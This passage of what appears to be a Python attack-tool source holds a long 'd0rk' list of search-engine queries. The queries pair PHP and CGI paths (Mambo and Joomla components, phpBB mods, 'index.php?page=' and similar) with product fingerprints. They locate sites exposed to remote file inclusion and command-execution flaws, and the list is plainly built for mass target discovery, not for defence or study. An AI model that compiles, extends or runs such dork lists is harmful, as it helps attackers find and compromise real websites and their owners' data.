'.php?view="', '.php?visual="', '.php?wPage="', '.php?y="', '/components/com_forum/download.php?phpbb_root_path= com_forum', '[Script Path]/admin/index.php?o= admin/index.php"', '/admin/index.php?o= admin/index.php"', 'index.php?menu=deti&page= index.php?menu=deti&page"', 'include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= intitle:Newswriter', '/classes/adodbt/sql.php?classes_dir= "index2.php?option=rss"', 'components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', 'index.php?RP_PATH= reviewpost', 'index.php?pagename= phpquiz', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= /com_remository/', '/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar', 'components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path= "com_phpshop"', '/tools/send_reminders.php?includedir= day.php?date=', 'SQuery/lib/gore.php?libpath= "/SQuery/"', 'm2f/m2f_phpbb204.php?m2f_root_path= /m2f_usercp.php?', 'wamp_dir/setup/yesno.phtml?no_url= "setup"', 'components/com_forum/download.php?phpbb_root_path= "com_forum"', 'index.php?p= "/index.php?p=*.php"', 'index.php?pag= "/index.php?pag=*.php"', 'template.php?page= "/template.php?page=*.php"', 'main.php?page= "/main.php?page=*.php"', 'index2.php?pag= "/index2.php?pag=*.php"', 'home.php?pag= "/home.php?pag=*.php"', 'index.php?page= "/index.php?page=*.php"', 'default.php?page= "/default.php?page=*.php"', 'inc/cmses/aedatingCMS.php?dir[inc]= "flashchat"', '/modules/vwar/admin/admin.php?vwar_root= vwar', 'bb_usage_stats/include/bb_usage_stats.php?phpbb_root_path= forum', 'encapscms_PATH/core/core.php?root= encapscms_PATH', 'inc/session.php?sessionerror=0&lang= inc', 'path/index.php?function=custom&custom= path', '[MyAlbum_DIR]/language.inc.php?langs_dir= [MyAlbum_DIR]', '/inc/irayofuncs.php?irayodirhack= "/inc/"']
d0rk += [ 'index.php?function=custom&custom= custom', 'cyberfolio/portfolio/msg/view.php?av= cyberfolio', '/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT= CFG_PHPGIGGLE_ROOT', '*mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=', '*pivot/modules/module_db.php?pivot_path=', '*inc/header.php/step_one.php?server_inc=', '*inst/index.php?lng=../../include/main.inc&G_PATH=', '*inc/pipe.php?HCL_path=', '*include/new-visitor.inc.php?lvc_include_dir=', '*includes/header.php?systempath=', '*support/mailling/maillist/inc/initdb.php?absolute_path=', '*coppercop/theme.php?THEME_DIR=', '*zentrack/index.php?configFile=', '*include/write.php?dir=', 'include/new-visitor.inc.php?lvc_include_dir=', 'includes/header.php?systempath=', 'support/mailling/maillist/inc/initdb.php?absolute_path=', 'coppercop/theme.php?THEME_DIR=', 'becommunity/community/index.php?pageurl=', 'shoutbox/expanded.php?conf=', 'agendax/addevent.inc.php?agendax_path=', 'myPHPCalendar/admin.php?cal_dir=', 'yabbse/Sources/Packages.php?sourcedir=', 'zboard/zboard.php', 'path_of_cpcommerce/_functions.php?prefix', 'dotproject/modules/tasks/viewgantt.php?root_dir=', 'My_eGery/public/displayCategory.php?basepath=', 'modules/My_eGery/public/displayCategory.php?basepath=', 'modules/4nAlbum/public/displayCategory.php?basepath=', 'modules/coppermine/themes/default/theme.php?THEME_DIR=', 'modules/agendax/addevent.inc.php?agendax_path=', 'modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=', 'modules/xgery/upgrade_album.php?GERY_BASEDIR=', 'modules/coppermine/include/init.inc.php?CPG_M_DIR=', 'modules/mod_mainmenu.php?mosConfig_absolute_path=', 'pivot/modules/module_db.php?pivot_path=', 'library/editor/editor.php?root=', 'library/lib.php?root=', 'e107/e107_handlers/secure_img_render.php?p=', 'main.php?x=', 'main.php?page=', '*default.php?page=', '*default.php?body=', 'default.php?page=', '*index.php?url=', '*index.php?arquivo=', 'index.php?meio.php=', 'index.php?include=', 'index.php?open=', 'index.php?visualizar=', 'index.php?pagina=', 'index.php?inc=', 'index.php?page=', 'index.php?pag=', 'index.php?p=', 'index.php?content=', 'index.php?cont=', 'index.php?c=', 'index.php?meio=', 'index.php?x=', 'index.php?cat=', 'index.php?site=', 'index.php?configFile=', 'index.php?action=', 'index.php?do=', 'index2.php?x=', 'Index.php?id=', 'index2.php?content=', 'template.php?pagina', 'inc/step_one_tables.php?server_inc=', 'phpshop/index.php?base_dir=', 'admin.php?cal_dir=', 'path_of_cpcommerce/_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'dotproject/modules/files/index_table.php?root_dir=', 'html/affich.php?base=', 'gery/init.php?HTTP_POST_VARS=', 'pm/lib.inc.php?pm_path=', 'ideabox/include.php?gorumDir=', 'modules/tasks/viewgantt.php?root_dir=', 'cgi-bin/index.cgi?page=', 'cgi-bin/awstats.pl?update=1&logfile=', 'cgi-bin/awstats/awstats.pl?configdir', 'cgi-bin/ikonboard.cgi', 'cgi-bin/acart/acart.pl?&page=']
d0rk += [ 'cgi-bin/quikstore.cgi?category=', 'cgi-bin/ubb/ubb.cgi?g=', 'cgi-bin/hinsts.pl?', 'cgi-bin/bp/bp-lib.pl?g=', 'ccbill/whereami.cgi?g=ls', 'cgi-bin/telnet.cgi', 'cgi-bin/1/cmd.cgi', 'encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=', 'cgi-sys/guestbook.cgi?user=cpanel&template=', 'account.php?action= account.php?action=', 'account.php?action= iurl:"account.php?action="', 'account.php?action= iurl:".php?action="', 'account.php?action= .php?action=', 'accounts.php?command= .php?command="', 'addmedia.php?factsfile[$LANGUAGE]= phpGedView', '.php?p="', 'announcements.php?phpraid_dir= "phpraid"', 'announcements.php?phpraid_dir= "phpraid signup"', 'announcements.php?phpraid_dir= php raid', 'announcements.php?phpraid_dir= phpraid', 'announcements.php?phpraid_dir= phpraid signup', 'arg.php?arg= .php?arg=', 'args.php?arg= .php?arg=', 'atom.php5?page= .php5?id=', 'auto.php?inc= .php?inc="', 'auto.php?page= auto.php?page=', 'base.php?f1= base.php?f1="', 'base.php?f1= .php?f1="', 'board.php?see= board.php?see="', 'board.php?see= .php?see="', 'book.php5?page= php5?page=', '/calendar.php?l= calendar.php?l="', '/calendar.php?l= calendar.php?l=', '/calendar.php?p= calendar.php?p="', '/calendar.php?p= calendar.php?p=', '/calendar.php?pg= calendar.php?pg="', '/calendar.php?pg= calendar.php?pg=', '/calendar.php?s= calendar.php?s="', '/calendar.php?s= calendar.php?s=', '/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/"', '/addpost_newpoll.php?addpoll=preview&thispath= /ubbthreads/', '/addpost_newpoll.php?addpoll=preview&thispath= "/ubbthreads/"', '/addpost_newpoll.php?addpoll=preview&thispath= "ubbthreads"', '/addpost_newpoll.php?addpoll=preview&thispath= ubbthreads', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository"', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= index.php?option=com_remository', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= "Mambo"', 'administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= Mambo', '/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= com_serverstat', '/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path= "com_serverstat"', 'canal.php?meio= .php?meio="', '/classes/adodbt/sql.php?classes_dir= "adobt"', '/classes/adodbt/sql.php?classes_dir= adobt', '/classes/adodbt/sql.php?classes_dir= adobt', '/classified_right.php?language_dir= "classified.php"', '/classified_right.php?language_dir= classified.php', '/classified_right.php?language_dir= classified.php phpbazar', '/classified_right.php?language_dir= "phpbazar"']
d0rk += [ '/classified_right.php?language_dir= phpbazar', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "phpCOIN 1.2.3"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= phpCOIN 1.2.3', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "powered by phpCOIN 1.2.3"', '/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= powered by phpCOIN 1.2.3', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= "com_extended_registration"', '/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= com_extended_registration', '/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms"', '/components/com_facileforms/facileforms.frame.php?ff_compath= "com_facileforms"', '/components/com_facileforms/facileforms.frame.php?ff_compath= com_facileforms', 'components/com_performs/performs.php?mosConfig_absolute_path= com_performs', 'components/com_performs/performs.php?mosConfig_absolute_path= "com_performs"', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= "com_zoom"', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= com_zoom', '/components/com_zoom/includes/database.php?mosConfig_absolute_path= "index.php?option="com_zoom"', 'content.php?page= "content.php?page=*.php"', '/embed/day.php?path= "Calendar"', '/embed/day.php?path= Calendar', '/embed/day.php?path= intitle:"Login to Calendar"', '/embed/day.php?path= "Login to Calendar"', '/embed/day.php?path= Login to Calendar', '/embed/day.php?path= "WebCalendar"', '/embed/day.php?path= WebCalendar', 'enc/content.php?Home_Path= "doodle"', 'enc/content.php?Home_Path= doodle', 'enc/content.php?Home_Path= "doodle cart"', 'enc/content.php?Home_Path= doodle cart', 'enc/content.php?Home_Path= "powered by doodle cart"', 'enc/content.php?Home_Path= powered by doodle cart', '/header.php?abspath= "MobilePublisherPHP"', '/header.php?abspath= MobilePublisherPHP', 'impex/ImpExData.php?systempath= intext:powered by vbulletin', 'impex/ImpExData.php?systempath= powered by vbulletin', 'impex/ImpExData.php?systempath= "vbulletin"', 'impex/ImpExData.php?systempath= vbulletin', '/includes/dbal.php?eqdkp_root_path= "EQdkp"', '/includes/dbal.php?eqdkp_root_path= EQdkp', '/includes/dbal.php?eqdkp_root_path= "powered by EQdkp"', '/includes/dbal.php?eqdkp_root_path= powered by EQdkp', '/includes/kb_constants.php?module_root_path= "Base"', '/includes/kb_constants.php?module_root_path= Base', '/includes/kb_constants.php?module_root_path= "Knowledge"', '/includes/kb_constants.php?module_root_path= Knowledge', '/includes/kb_constants.php?module_root_path= "Knowledge Base"']
d0rk += [ '/includes/kb_constants.php?module_root_path= Knowledge Base', '/includes/kb_constants.php?module_root_path= "Powered by Knowledge Base"', '/includes/kb_constants.php?module_root_path= Powered by Knowledge Base', 'index1.php?= "index1.php?="', 'index1.php?= index1.php?=', 'index1.php?= "index1.php?=*.php?', 'index2.php?= "index2.php?="', 'index2.php?= index2.php?=', 'index2.php?= "index2.php?=*.php?"', 'index.php?body= index.php?body=', 'index.php?body= "index.php?body="', 'index.php?go1= index.php?go1=', 'index.php?go1= "index.php?go1="', 'index.php?go= "index.php?go="', 'index.php?go= index.php?go=', 'index.php?pageurl= "index.php?pageurl="', 'index.php?pageurl= "index.php?pageurl=*.php"', 'index.php?pageurl= index.php?pageurl=*.php', 'index.php?pageurl= "index.php?pageurl=*.php', 'index.php?pagina1= "index.php?pagina1="', 'index.php?pagina1= index.php?pagina1=', 'index.php?pagina= "index.php?pagina="', 'index.php?pagina= "index.php?pagina=*.php"', 'index.php?site1= index.php?site1=', 'index.php?site1= "index.php?site1="', 'index.php?site= "index.php?site="', 'index.php?site= index.php?site=', 'index.php?var1= "index.php?var1="', 'index.php?var1= index.php?var1=', 'index.php?var2= index.php?var2=', 'index.php?var= index.php?va21=', 'index.php?var= index.php?var=', 'index.php?var= "index.php?var1="', 'index.php?var= index.php?var1=', 'index.php?var= "index.php?var2="', 'index.php?var= index.php?var2=', 'index.php?var= "index.php?var=*.php"', 'index.php?var= index.php?var=*.php', '/login.php?dir= login.php?dir=', '/login.php?dir= "login.php?dir="', '/login.php?dir= login.php?dir=', 'main.php?id= "main.php?id=*.php"', '/main.php?sayfa= "main.php?sayfa="', '/main.php?sayfa= main.php?sayfa=', '/mcf.php?content= mcf.php"', 'mcf.php?content= mcf.php"', 'mcf.php?content= "mcf.php"', 'mcf.php?content= mcf.php', '/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar', '/modules/TotalCalendar/about.php?inc_dir= /TotalCalendar', '/modules/TotalCalendar/about.php?inc_dir= "TotalCalendar"', '/modules/TotalCalendar/about.php?inc_dir= TotalCalendar', '/modules/vwar/admin/admin.php?vwar_root= "vwar"', '/modules/vwar/admin/admin.php?vwar_root= vwar', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "index.php?id="', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= index.php?id=', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= "phpwcms/index.php?id="', 'phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= phpwcms/index.php?id=', 'skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer"', 'skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer', 'skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"', 'skins/advanced/advanced1.php?pluginpath[0]= Sabdrimer CMS', 'skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "CMS"', 'skins/advanced/advanced1.php?pluginpath[0]= skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"']
d0rk += [ '/skin/zero_vote/error.php?dir= "skin/zero_vote/error.php"', '/skin/zero_vote/error.php?dir= skin/zero_vote/error.php', '/sources/functions.php?CONFIG[main_path]= "(Powered By ScozNews)"', '/sources/functions.php?CONFIG[main_path]= "Powered By ScozNews"', '/sources/functions.php?CONFIG[main_path]= (Powered By ScozNews)', '/sources/functions.php?CONFIG[main_path]= Powered By ScozNews', '/sources/functions.php?CONFIG[main_path]= "ScozNews"', '/sources/functions.php?CONFIG[main_path]= ScozNews', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Aardvark TopSites"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Aardvark TopSites', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Powered By Aardvark Topsites PHP 4.2.2"', '/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= Powered By Aardvark Topsites PHP 4.2.2', '/sources/template.php?CONFIG[main_path]= "(Powered By ScozNews)"', '/sources/template.php?CONFIG[main_path]= (Powered By ScozNews)', '/sources/template.php?CONFIG[main_path]= Powered By ScozNews', '/sources/template.php?CONFIG[main_path]= "ScozNews"', '/sources/template.php?CONFIG[main_path]= ScozNews', '/surveys/survey.inc.php?path= surveys', '/surveys/survey.inc.php?path= "surveys"', '/tags.php?BBCodeFile= intitle:"Tagger LE"', '/tags.php?BBCodeFile= intitle:"Tagger LE" tags.php', '/tags.php?BBCodeFile= "Tagger LE"', '/tags.php?BBCodeFile= Tagger LE', '/tags.php?BBCodeFile= "tags.php"', '/tags.php?BBCodeFile= tags.php', '/templates/headline_temp.php?nst_inc= intitle:fusion:news:management', '/templates/headline_temp.php?nst_inc= \'fusion"', '/templates/headline_temp.php?nst_inc= "fusion"', '/templates/headline_temp.php?nst_inc= fusion', '/templates/headline_temp.php?nst_inc= fusion:news:management:system', '/templates/headline_temp.php?nst_inc= "management"', '/templates/headline_temp.php?nst_inc= management', '/templates/headline_temp.php?nst_inc= "news"', '/templates/headline_temp.php?nst_inc= news', '/templates/headline_temp.php?nst_inc= "system"', '/templates/headline_temp.php?nst_inc= system', '/tools/send_reminders.php?includedir= "day.php?date="', '/tools/send_reminders.php?includedir= day.php?date=', '/ws/get_events.php?includedir= /WebCalendar/', '/ws/get_events.php?includedir= "/WebCalendar/"', '/ws/get_events.php?includedir= "WebCalendar"', '/zipndownload.php?PP_PATH= "PhotoPost"', '/zipndownload.php?PP_PATH= PhotoPost', '/zipndownload.php?PP_PATH= "PhotoPostP"', '/zipndownload.php?PP_PATH= "PhotoPost PHP"', '/zipndownload.php?PP_PATH= "PhotoPost PHP 4.6"', '/zipndownload.php?PP_PATH= PhotoPost PHP 4.6', '/zipndownload.php?PP_PATH= "Powered by: PhotoPost PHP 4.6"', '/zipndownload.php?PP_PATH= Powered by: PhotoPost PHP 4.6', 'cmd.php?arg= .php?arg=']
d0rk += [ '/codebb/lang_select?phpbb_root_path= codebb', '/codebb/lang_select?phpbb_root_path= codebb 1.1b3', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rs gery', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= rsgery.php', 'content.php?inc= .php?inc="', 'content.php?seite= content.php?seite=', 'content.php?seite= .php?seite=', 'dbase.php?action= dbase.php', 'dbase.php?action= dbase.php?action=', 'dbase.php?action= .php?action=', 'default.php?arquivo= .php?arquivo=', 'default.php?vis= .php?vis="', 'define.php?term= .php?term="', 'detail.php?prod= detail.php?prod="', 'detail.php?prod= .php?prod="', 'details.php?loc= details.php?loc=', 'details.php?loc= .php?loc=', 'directions.php?loc= directions.php?loc=', 'direct.php?loc= direct.php?loc=', 'display.php?f= display.php?f=', 'display.php?file= display.php?file=', 'display.php?lang= display.php?lang=', 'display.php?l= display.php?l=', 'display.php?ln= display.php?ln=', 'display.php?pag= display.php?pag=', 'display.php?page= display.php?page="', 'display.php?page= .php?page="', 'display.php?page=&lang= display.php?page="', 'display.php?page=&lang= .php?page="', 'display.php?p= display.php?p=', 'display.php?pg= display.php?pg=', 'display.php?s= display.php?s=', 'display.php?table= display.php?table=', 'display.php?table= .php?table=', 'download.php?sub= "download.php?sub="', 'download.php?sub= download.php?sub=', 'eng.php?img= eng.php?img=', 'eng.php?img= .php?img=', '/exibir.php?arquivo= .php?arquivo=', 'experts.php?sub= "experts.php?sub="', 'experts.php?sub= experts.php?sub=', 'forum.php?seite= .php?seite=', 'frag.php?exec= frag.php"', 'frag.php?exec= frag.php?exec="', 'frag.php?exec= .php?exec="', 'frame.php?loc= .php?loc="', 'galerie.php?do= .php?do="', 'glossary.php?term= .php?term="', 'handlinger.php?vis= .php?vis="', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP Ged View', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHP GedView', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView', '/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY= PHPGedView <= 3.3.7', 'home1.php?ln= .php?ln=', 'home2.php?ln= .php?ln=', 'home.php?a= home.php?a="', 'home.php?a= .php?a="', 'home.php?act= "home.php?act="', 'home.php?act= home.php?act=', 'home.php?arg= .php?arg=', 'home.php?func= .php?func="', 'home.php?i= "home.php?i="', 'home.php?i= home.php?i=', 'home.php?inc= "home.php?inc="', 'home.php?inc= home.php?inc=', 'home.php?ln= .php?ln=', 'home.php?ltr= .php?ltr="', 'home.php?sit= .php?sit="', 'home.php?table= .php?table=', 'image.php?img= image.php?img=', 'image.php?img= .php?img=', 'img.php?loc= img.php?loc="', 'img.php?loc= .php?loc="', 'inc.php?inc= .php?inc="', 'index1.php?arg= .php?arg=', 'index1.php?arq= .php?arq=', 'index1.php?func= .php?func="', 'index1.php?inc= .php?inc="', 'index1.php?lk= .php?lk="', '/index1.php?ln= .php?ln=', 'index1.php?ltr= .php?ltr="']
d0rk += [ 'index1.php?mid= index1.php?mid=', 'index1.php?page= index1.php?page="', 'index1.php?p= .php?p="', 'index1.php?p= .php?pag="', 'index1.php?p= .php?page="', 'index1.php?p= .php?pg="', 'index1.php?s= index1.php?s="', 'index1.php?show= index1.php?show="', 'index1.php?show= .php?show="', 'index1.php?table= .php?table=', 'index2.php?arg= .php?arg=', 'index2.php?arq= .php?arq=', 'index2.php?c= index2.php?c="', 'index2.php?c= .php?c="', 'index2.php?cont= index2.php?cont="', 'index2.php?cont= .php?cont="', 'index2.php?content= index2.php?cont="', 'index2.php?content= index2.php?content="', 'index2.php?content= .php?content="', 'index2.php?content= index2.php?content=', 'index2.php?content= .php?content=', 'index2.php?i= /index2.php?i=', 'index2.php?inc= .php?inc="', 'index2.php?l= .php?l="', 'index2.php?lg= index.php?lg="', 'index2.php?lk= .php?lk="', 'index2.php?ln= index.php?ln="', 'index2.php?ln= .php?ln="', 'index2.php?lng= index.php?lng="', 'index2.php?loca= index2.php?loca=', 'index2.php?loca= .php?loca=', 'index2.php?meio= .php?meio=', 'index2.php?s= index2.php?s="', 'index2.php?s= .php?s="', 'index2.php?table= .php?table=', 'index2.php?x= index2.php?x=', 'index2.php?x= .php?x=', 'index.php3?act= index.php3?act=', 'index.php3?act= .php3?act=', 'index.php3?act= .php3?act="', 'index.php3?file= .php3?f="', 'index.php3?file= .php3?file="', 'index.php3?id= index.php3?id=', 'index.php3?i= index.php3?i=', 'index.php3?lang= index.php3?lang=', 'index.php3?l= index.php3?l=', 'index.php3?page= index.php3?page=', 'index.php3?pag= index.php3?pag=', 'index.php3?p= index.php3?p="', 'index.php3?p= index.php3?pag="', 'index.php3?p= index.php3?page="', 'index.php3?p= index.php3?pg="', 'index.php3?pg= index.php3?pg=', 'index.php3?p= index.php3?p=', 'index.php3?s= index.php3?s="', 'index.php3?s= index.php3?s=', 'index.php3?s= .php3?s=', 'index.php3?s= .php3?s="', 'index.php4?lang= index.php4?lang="', 'index.php4?lang= index.php4?lang="', 'index.php4?lang= .php4?lang=', 'index.php4?lang= .php4?lang="', 'index.php4?lang= .php4?lang=', 'index.php5?lang= index.php5?lang="', 'index.php5?lang= index.php5?lang=', 'index.php5?lang= .php5?lang="', 'index.php?a= index.php?a="', 'index.php?a= .php?a="', 'index.php?acao= index.php?acao=', 'index.php?acao= .php?acao=', 'index.php?act= "index.php?act="', 'index.php?act= index.php?act=', 'index.php?action= index.php?action="', 'index.php?action= .php?action="', 'index.php?arg= index.php?arg=', 'index.php?arg= .php?arg=', 'index.php?arq= index.php?arq=', 'index.php?arq= .php?arq=', 'index.php?arquivo= .php?arquivo=', 'index.php?ba= index.php?ba="', 'index.php?b= index.php?b="', 'index.php?bas= index.php?bas="', 'index.php?bas= .php?bas="', 'index.php?cal= index.php?cal=', 'index.php?cal= "index.php?cal="', 'index.php?cal= ".php?cal="', 'index.php?c= index.php?c="', 'index.php?cal= .php?cal=', 'index.php?c= index.php?c=', 'index.php?c= "index.php?c="', 'index.php?c= ".php?c="']
d0rk += [ '/index.php?cms= /index.php?cms=', '/index.php?cms= /index.php?cms="', 'index.php?command= index.php?command="', 'index.php?command= .php?command="', 'index.php?content= index.php?content=', 'index.php?content= .php?content=', 'index.php?c= .php?c=', 'index.php?d1= .php?d1="', 'index.php?def= index.php?def="', 'index.php?def= .php?def="', 'index.php?def= index.php?def=', '/index.php?dn= /index.php?dn=', '/index.php?dn= index.php?dn="', '/index.php?dn= .php?dn=', '/index.php?dn= .php?dn="', 'index.php?dok= index.php?dok="', 'index.php?dok= .php?dok="', 'index.php?e= index.php?e="', 'index.php?exec= index.php?exec=', 'index.php?exec= .php?exec=', 'index.php?f1= .php?f1="', 'index.php?f= index.php?f="', 'index.php?fase= index.php?fase="', 'index.php?fase= .php?fase="', 'index.php?file= index.php?file="', 'index.php?fn= index.php?fn="', 'index.php?fn= .php?fn="', 'index.php?fPage= index.php?fPage="', 'index.php?fPage= index.php?fPage=', 'index.php?fPage= .php?fPage=', 'index.php?fPage= .php?fPage="', 'index.php?fPage= index.php?fPage=', 'index.php?fset= .php?fset="', 'index.php?func= .php?func="', 'index.php?goto= index.php?goto="', 'index.php?goto= .php?goto="', 'index.php?id=1&lang= index.php?i=', 'index.php?id=1&lang= "index.php?id="', 'index.php?id=1&lang= index.php?id=', 'index.php?id=1&lang= ".php?id="', 'index.php?id= index.php?id="', '/index.php?id=&lang= index.php?id="', '/index.php?id=&lang= .php?id="', 'index.php?id=&lang= "index.php?id="', 'index.php?id=&lang= ".php?id="', '/index.php?id=&page= index.php?id="', '/index.php?id=&page= .php?id="', 'index.php?inc= .php?inc="', 'index.php?ir= ".php?ir="', '/index.php?lang=en&cat= index.php?lang="', '/index.php?lang=en&cat= .php?lang="', '/index.php?lang=en&page= index.php?lang="', '/index.php?lang=en&page= .php?lang="', '/index.php?lang=en&page= index.php?lang=', 'index.php?lang=en&page= index.php?lang=', '/index.php?lang=en&page= .php?lang=', 'index.php?lang=en&page= .php?lang=', 'index.php?lang= "index.php?lang="', 'index.php?lang= index.php?lang=', 'index.php?lang=&page= index.php?lang=', 'index.php?lang=&page= .php?lang=', 'index.php?lg= "index.php?lg="', 'index.php?lg= index.php?lg=', 'index.php?lk= .php?lk="', '/index.php?ln= .php?ln=', 'index.php?lng= "index.php?lng="', 'index.php?lng= index.php?lng=', 'index.php?ln= "index.php?ln="', 'index.php?ln= index.php?ln=', 'index.php?ln= ".php?ln="', 'index.php?lnk= index.php?lnk=', 'index.php?lnk= .php?lnk=', 'index.php?lnk= "index.php?lnk="', 'index.php?lnk= ".php?lnk="', 'index.php?ln= .php?ln=', 'index.php?loca= index.php?loca=', '/index.php?loc= .php?loc="', 'index.php?loca= .php?loca=', '/index.php?loc=&cat= index.php?loc="', '/index.php?loc=&cat= .php?loc="', '/index.php?loc=&lang= index.php?loc="', '/index.php?loc=&lang= .php?loc="', '/index.php?loc=&page= index.php?loc="', '/index.php?loc= .php?loc=', '/index.php?loc=start&page= index.php?loc="', 'index.php?ltr= index.php?ltr="']
d0rk += [ 'index.php?ltr= .php?ltr="', 'index.php?main= .php?main="', 'index.php?m= index.php?m="', 'index.php?meio= index.php?meio="', 'index.php?meio= index.php?meio=', 'index.php?meio= .php?meio=', 'index.php?meio= .php?meio="', 'index.php?mf= index.php?mf=', 'index.php?mf= .php?mf=', 'index.php?mf= .php?mf="', 'index.php?mid= index.php?mid="', 'index.php?mid= index.php?mid=', 'index.php?mid= .php?mid=', 'index.php?mid= .php?mid="', 'index.php?middle= index.php?middle="', 'index.php?middle= index.php?middle=', 'index.php?middle= .php?middle="', 'index.php?mn= index.php?mn="', 'index.php?mn= .php?mn="', 'index.php?mod= index.php?mod="', 'index.php?mod= .php?mod="', 'index.php?new= index.php?new="', 'index.php?news= index.php?news="', 'index.php?page1= index.php?page1="', 'index.php?page1= .php?page1="', 'index.php?page= php5?page=', 'index.php?page= index.php?page=', 'index.php?page=&lang= index.php?p=', 'index.php?page=&lang= index.php?pag=', 'index.php?page=&lang= index.php?page=', 'index.php?page=&lang= index.php?pg=', 'index.php?page=&lang= .php?p=', 'index.php?page=&lang= .php?pag=', 'index.php?page=&lang= .php?page=', 'index.php?page=&lang= .php?pg=', 'index.php?pageN= .php?pageN="', 'index.php?pager= index.php?pager=', 'index.php?pager= .php?pager=', 'index.php?pagina= index.php?pagina=', 'index.php?pag= "index.php?pag="', 'index.php?pag= index.php?pag=', 'index.php?p= index.php?p="', 'index.php?pg= "index.php?pg="', 'index.php?pg= index.php?pg=', 'index.php?prod= .php?prod="', 'index.php?prod= .php?product="', 'index.php?product= .php?prod="', 'index.php?product= .php?product="', 'index.php?r= index.php?r="', 'index.php?s= index.php?s="', 'index.php?s= index.php?s=', 'index.php?s= .php?s=', 'index.php?s= .php?s="', 'index.php?secao= index.php?secao=', 'index.php?secao= .php?secao=', 'index.php?secao= "index.php?secao="', 'index.php?secao= ".php?secao="', '/index.php?seccion= /index.php?seccion=', '/index.php?seccion= .php?seccion=', 'index.php?sec= "index.php?sec="', 'index.php?sec= index.php?sec=', '/index.php?seite= /index.php?seite=', '/index.php?seite= .php?seite=', 'index.php?select= .php?select="', 'index.php?select= index.php?select=', 'index.php?select= .php?select=', 'index.php?set= index.php?set="', 'index.php?set= index.php?set=', 'index.php?set= .php?set=', 'index.php?set= .php?set="', 'index.php?sf= index.php?sf="', 'index.php?show= .php?show="', 'index.php?s= "index.php?s="', 'index.php?s= index.php?s=', 'index.php?sit= index.php?sit="', 'index.php?sit= .php?sit="', '/index.php?slang= /index.php?slang=', '/index.php?slang= "index.php?slang="', '/index.php?slang= .php?slang=', '/index.php?slang= ".php?slang="', 'index.php?sort= .php?sort="', 'index.php?spage= index.php?spage="', 'index.php?spage= index.php?spage=', 'index.php?spage= .php?spage=', 'index.php?spage= .php?spage="', 'index.php?ss= index.php?ss="', 'index.php?ss= .php?ss="', 'index.php?st= index.php?st="', 'index.php?sub= index.php?sub="']
